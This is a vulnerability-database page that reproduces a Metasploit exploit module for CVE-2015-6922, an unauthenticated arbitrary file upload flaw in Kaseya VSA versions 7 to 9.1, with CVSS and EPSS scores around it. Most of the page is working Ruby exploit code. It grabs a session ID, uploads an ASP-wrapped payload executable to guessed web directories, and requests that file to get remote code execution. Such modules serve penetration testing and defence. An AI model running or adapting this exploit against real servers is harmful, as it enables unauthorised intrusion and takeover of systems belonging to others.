Lucene search

K
metasploitPedro Ribeiro <[email protected]>MSF:EXPLOIT-WINDOWS-HTTP-KASEYA_UPLOADER-
HistorySep 29, 2015 - 10:56 a.m.

Kaseya VSA uploader.aspx Arbitrary File Upload

2015-09-2910:56:34
Pedro Ribeiro <[email protected]>
www.rapid7.com
57

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.944

Percentile

99.3%

This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory leading to arbitrary code execution with IUSR privileges. This module has been tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
      'Description' => %q{
        This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
        between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
        directory leading to arbitrary code execution with IUSR privileges. This module has been
        tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
      },
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-6922'],
          ['ZDI', '15-449'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'],
          ['URL', 'https://seclists.org/bugtraq/2015/Sep/132']
        ],
      'Platform' => 'win',
      'Arch' => ARCH_X86,
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Kaseya VSA v7 to v9.1', {} ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2015-09-23'))
  end


  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })

    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def upload_file(payload, path, filename, session_id)
    print_status("Uploading payload to #{path}...")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
      'vars_get' => {
        'PathData' => path,
        'qqfile' => filename
      },
      'data' => payload,
      'ctype' => 'application/octet-stream',
      'cookie' => 'sessionId=' + session_id
    })

    if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
      return true
    else
      return false
    end
  end


  def exploit
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('ConfigTab','uploader.aspx')
    })

    if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
      session_id = $1
    else
      fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
    end

    asp_name = "#{rand_text_alpha_lower(8)}.asp"
    exe = generate_payload_exe
    payload = Msf::Util::EXE.to_exe_asp(exe).to_s

    paths = [
      # We have to guess the path, so just try the most common directories
      'C:\\Kaseya\\WebPages\\',
      'C:\\Program Files\\Kaseya\\WebPages\\',
      'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
      'D:\\Kaseya\\WebPages\\',
      'D:\\Program Files\\Kaseya\\WebPages\\',
      'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
      'E:\\Kaseya\\WebPages\\',
      'E:\\Program Files\\Kaseya\\WebPages\\',
      'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
    ]

    paths.each do |path|
      if upload_file(payload, path, asp_name, session_id)
        register_files_for_cleanup(path + asp_name)
        print_status("Executing payload #{asp_name}")

        send_request_cgi({
          'uri' => normalize_uri(asp_name),
          'method' => 'GET'
        })

        # Failure. The request timed out or the server went away.
        break if res.nil?
        # Success! Triggered the payload, should have a shell incoming
        break if res.code == 200
      end
    end

  end
end

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.944

Percentile

99.3%